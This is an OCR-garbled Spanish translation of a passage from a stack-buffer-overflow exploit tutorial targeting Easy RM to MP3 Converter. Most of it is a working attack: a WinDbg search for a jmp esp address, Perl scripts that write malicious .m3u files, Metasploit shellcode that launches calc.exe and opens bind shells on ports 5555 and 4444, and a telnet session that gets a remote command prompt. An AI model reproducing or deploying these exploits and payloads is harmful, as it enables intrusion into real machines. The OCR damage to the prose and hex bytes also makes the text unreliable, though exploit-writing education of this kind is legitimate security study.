agregada antes de sobrescribir EIP y aun es algdanzia un registro) ésta
funcionara.

De todos modos, usaremos después de sobrescrBirp&ia alojar a
nuestra Shellcode. La direccion no deberia conteytes NULL.

La primera direccidbn sera: 0x0lccf23a. Verifica gasta direccion
contenga el jmp esp. Asi que desensambla la imshrude 0x01ccf23a.

0:014> u ©1ccf23a
MSRMCcodec©92 ! CAudioOutWindows: :WaveOutWndProc+0x8bfea:

0l1lccf23a ffed jmp esp

@l1lccf23c ff8d4eloc744 dec dword ptr
<Unloaded POOL.DRV>+0x44c7104d (44c7104e)[ebp]
@lccf242 2410 and al,10h
@lccf244 ff ???

@lccf245 ff ???

@lccf246 ff ???

@lccf247 ff ???

01lccf248 e8f3feedff call

MSRMCcodec@2!CTN_WriteHead+0xd320 (01b1f140)

Si ahora sobrescribimos EIP con 0x01ccf23a, un B@P se ejecutara.
ESP contiene nuestra Shellcode. Deberiamos tenera aln exploit
funcional. Probemos con nuestra Shellcode de “NGQPBP’s”. Cierra
Windbg.

Crea un nuevo archivo .m3u usando el siguientetscri

my $file= "testl.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc"; #esto hara que se
detenga la aplicacidn, simulando 1 shellcode,
permitiendo depurar luego.

$shellcode = $shellcode."\x90" x 25;
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open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "Archivo m3u creado exitosamente\n";

(21c.e54): Break instruction exception - code 80000003
(!!! second chance !!!)

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040
esi=77c5fce@® edi=0000662cC

eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0

nv up ei pl nz na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
ef1=00000206

Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0xff734:

000ff745 cc int 3

0:000> d esp

000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 .............0...
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 PO .............0...
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000f1780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Ejecuta la aplicacion de nuevo, atachala con Wingibgsiona (" para
continuar, abre el nuevo archivo .m3u en la apiicayg parara en 000ff745
gue es nuestro primer BP. Asi que, jmp esp funcimen. ESP comenzaba
en 000ff730, pero contiene NOP’s en todo el camasta 000ff744.

Todo lo que necesitamos es poner nuestro Shellomaley terminar el
exploit. Cierra Windbg de nuevo.

Conseguir una Shellcode y Terminar el Exploit

Metasploit tiene un generador de payloads que telaag a construir la
Shellcode. Los payloads vienes con varias opcignéspendiendo de lo
gue quieras hacer, pueden ser pequefias 0 muy gréidesnes un limite
de tamafio en lo que a espacio de buffer se reéatences necesitaras una
Shellcode multiple o usar Shellcodes artesanalescégcamente como la
siguiente.
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http://packetstormsecurity.org/files/download/792&8bytes-shellcode.txt

Shellcode de CMD.exe de 32 bytes para Windows XP ZXZ5P

Alternativamente, puedes dividir tu Shellcode equagios “huevos” en:
http://code.google.com/p/w32-seh-omelet-shellcode/

Y usar una técnica llamada “EggHunting” o cacer@ Huevos para
reensamblar la Shellcode antes de ejecutarla. utosdles 8 y 10 hablan
acerca de la Caceria de Huevos y Caceria de Omelet.

Imaginemos que queremos ejecutar la calculadoi&iddows “Calc.exe”
como nuestro payload del exploit. Entonces, lal&b@¢ podria ser asi:

# windows/exec - 144 bytes

# http:

# Encoder: x86/shikata _ga nai

# EXITFUNC=seh, CMD=calc

my $shellcode =
"\xdb\xcO\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xT5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xFO\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\Xxcf\x4c\x4F\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\Xx1F\x57\x53\x64\x51\xal1\x33\xcd\xFf5\xc6\xf5\xc1\x7e\x98" .
"\xF5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xcO\xd9\xfe\x51\x61" .
"\xb6\x0e\x2F\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

Termina el script de Perl y pruébalo.

# Exploit para Easy RM to MP3 27.3.700 vulnerabilidad,
#discubierta por Crazy_ Hacker

# Escrito por Peter Van Eeckhoutte

# http:

# Saludos a Saumil y SK

Probado en Windows XP SP3 (En)

HOH H HH

my $file= "exploitrmtomp3.m3u”;

my $junk= "A" x 26094;
my $eip = pack('V',0x01lccf23a); #jmp esp desde MSRMCcodec©92.dll

my $shellcode = "\x90" x 25;
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# windows/exec - 144 bytes

# http:

# Encoder: x86/shikata_ga nai

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode .
"\xdb\xcO\x31\xc9\xbF\x7c\x16\x70\xcc\xd9\x74\x24\xFf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\Xx78\xbc\x65\xc9\x78\xb6\x23\xF5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\XxF5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xFfb\x1b\x05\x6b" .
"\xFO\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4F\x23\xd3\x53\xad\x57\xFf7\xd8\x3b\x83\x8e\x83" .
"\X1F\Xx57\x53\x64\x51\xal\x33\xcd\xf5\xc6\xF5\xcl\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xcO\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2F\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "Archivo m3u creado exitosamente\n";

Primero, desactiva los mensajes de error en eftregile Windows como
vimos al inicio del tutorial para prevenir que $ecate el depurador. Crea
el archivo .m3u, abrelo y ve morir la aplicaciodaycalculadora deberia
abrirse también. jBoom! Tenemos nuestro primeratxfincional.
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Debes haber notado que dejé 25 NOP’s (0x90) aatks Shellcode. No te

preocupes por eso en este momento porque segprersla@endo acerca de
exploiting y cuando llegues al capitulo de escrittiellcodes, aprenderas
por qué se requiero esto.
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¢, Qué tal si gueremos hacer otra cosa aparte de
ejecutar la calculadora?

Podrias crear otra Shellcode y reemplazar la dectEar Calc” con tu

nueva Shellcode, pero este codigo no podria fuacidmen porque la

Shellcode puede ser mas grande, las ubicacionesed®ria pueden ser
diferentes y las Shellcodes mas grandes aumentaesgb de caracteres
invalidos los cuales necesitan ser filtrados.

Supongamos que queremos el exploit ligado a urtgpara que un hacker
pueda conectarse y conseguir una linea de comandos.

Esta Shellcode podria ser asi:

# windows/shell bind_tcp - 344 bytes

# http:

# Encoder: x86/shikata_ga nai

# EXITFUNC=seh, LPORT=5555, RHOST=
"\Xx31\xc9\xbf\xd3\xcO\x5c\x46\xdb\xcO\xd9\x74\x24\xFf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1F\xab\xb3\x71\x5Ff\xd4\x23\x05\xcc\x0F\x87\x92"
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xfF\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11"
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5Ff\x99\x8c\x6c\x88\xab"
"\xc9\xe6\x97\x77\x10\x12\x41\xF3\x1le\xaf\x05\x5c\x02\x2e"
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xF8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91"
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xFf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xad\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7"
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e"
"\ x4f\xe0\x3c\x5a\x22\x45\xcO\x72\x6F\x39\x6d\x28\xdc\xfe"
"\xc2\x8d\xb1\xfF\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a"
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b"
"\xdd\xb5\x25\x52\xf7\xel\xca\x7d\x54\x5b\xcb\x52\x33\x86"
"\x7a\xd5\x8d\x1f\x83\x0Ff\x5d\xf4\x2Ff\xe5\xal\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xcO\xfe\xbd\x63\xee\x98\x57\xf8\x69"
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xbo\x06"
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46"
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91"
"\x74\x22\x86\x3T\x28\x84\x79\xaa\xcb\x77\x28\x7F\x9d\x88"
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xel\xaf\x42\xde"
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03"
"\xec\xe9\xed\xbo\x0f\x27\xee\xe7";
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Como puedes ver, esta Shellcode tiene 344 bytEsgtey para ejecutar la
calculadora solo necesitamos 144. Si solo copipegas esta Shellcode,
puedes ver que la aplicacion vulnerable ya no e@sias.

Easy RM to MP3 Converter ﬂ

Failure in loading the Fil=(C:sploitsiy L.

EOHNDAUOVO O O_™E"«Ee—wOOASO O40.f O=EOBS0>0<0e b ~580we'TEOZ0)E# *+is0-CIE=gkeOPS: . .

al-¢T="%60 *4E 004 <Z"EAradm(UbA O+y5w]0 0 Olce "1™:POY O 530<SEy {Yu%R+3EFT[ER3T200 0 #0168 $ym? vax O OAD Yacl “WaiOEmy)az=| “07° O Atua" "«0&31 | aFI7.
o, ABGiIAWET T v w00 " O00%®{e™ 104 BRildli0gs%s " 00 00000000000000000000000000000000000000000OOn
O00000000000000000000000000000000000000000000000000000000000000000000000000000
O0000000000000000000000000000000000000000000000000000000000000000000 %A

Esto mayormente indica tanto un problema con eaiendel buffer de la
Shellcode (pero puedes probar el tamafio del buftéaras que no es asi)
como también podrian ser caracteres invalidos eShialcode. Puedes
excluir los caracteres invalidos cuando haces EI&ide con Metasploit,
pero tendras que saber cudles caracteres son igdesmt cuales no. Los
caracteres NULL estan restringidos por defecto ydptendran el exploit
seguramente, ¢Cuales son los otros caracteres? rdbivea .m3u
probablemente deberia contener nombres de archhsisque, un buen
comienzo seria filtrar todos los caracteres quesapn permitidos en
nombres de archivos y directorios. También podniastringir los
caracteres juntos usando otro decodificador. Hamadoshikata _ga nai
pero quizasalpha_upperfuncionard& mejor para nombres de archivos.
Usando otro decodificador, probablemente aumenthréamafio de la
Shellcode, pero ya hemos visto o podemos simularejutamanio no es
problema. Tratemos de construir una Shell direstaaonexion tcp usando
el codificadoralpha_upperconectaremos la Shell al puerto local 4444. La
nueva Shellcode es de 703 bytes.

# windows/shell bind_tcp - 703 bytes

# http:

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xel\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\Xx43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\Xx42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\Xx30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x41F\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47"
"\X35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a"
"\ X4 \x4c\x4b\x50\x4F\x42\x38\x4c\x4b\x51\x4F\x51\x30\x43"
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a"
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44"
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"\ X34\ x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a"
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a"
"\X45\x4c\x4b\x51\x4F\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c"
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a"
"\X4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45"
"\Xx4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50"
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45"
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c"
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4F\x48\x56\x43"
"\Xx56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43"
Kooo2

"\x50\x41\x41";

Usemos esta Shellcode. Asi quedara el nuevo expl@t He modificado
la Shellcode manualmente y a propdsito, asi queogias y pegas, el
exploit no funcionara, pero ya deberias hacer ptoéxuncional.

# Exploit para Easy RM to MP3 27.3.700 vulnerabilidad,
#discubierta por Crazy_ Hacker

# Escrito por Peter Van Eeckhoutte

# http:

#Saludos a Saumil y SK

# Probado en Windows XP SP3 (En)

#

#

my $file= “"exploitrmtomp3.m3u”;

my $junk= "A" x 26094;
my $eip = pack('V',0x01lccf23a); #jmp esp from MSRMCcodec02.d1ll

my $shellcode = "\x90" x 25;

# windows/shell bind_tcp - 703 bytes

# http:

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode. " \x89\xel\xdb\xd4\xd9\x71\xFf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42"
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b"
"\x4F\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47"
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a"
"\x4F\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43"
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a"
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44"
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a"
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a"
"\x45\x4c\x4b\x51\x4F\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c"
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4F\x45\x4c\x45\x51\x4a"
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45"
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"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4F\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4F\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56 \x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4F\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4F\x48\x56\x50" .
"\Xx55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4F\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4F\x47\x47 \x4b\x4F\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4F\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "Archivo m3u creado exitosamente\n";

Crea el archivo .m3u, abrelo en la aplicacion. Bsyto MP3 parece que
se cuelga.

RH MP3 Converter
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Conexion Telnet a este host por el puerto 4444.

root@bt: # telnet 192.168.0.197 4444
Trying 192.168.0.197...

Connected to 192.168.0.197.

Escape character is '~]'.

Microsoft Windows XP [Version 5.1.26600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>

jPataboom!

Ahora, anda y construye tus propios exploits. Nadels hacer ti mismo
un arte ASCII bonito, conseguir un Nick y enviarug saludos.

corelancOd3r
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http://www.corelan.be:8800/index.php/2009/07/19leitswriting-tutorial-part-1-stack-
based-overflows/
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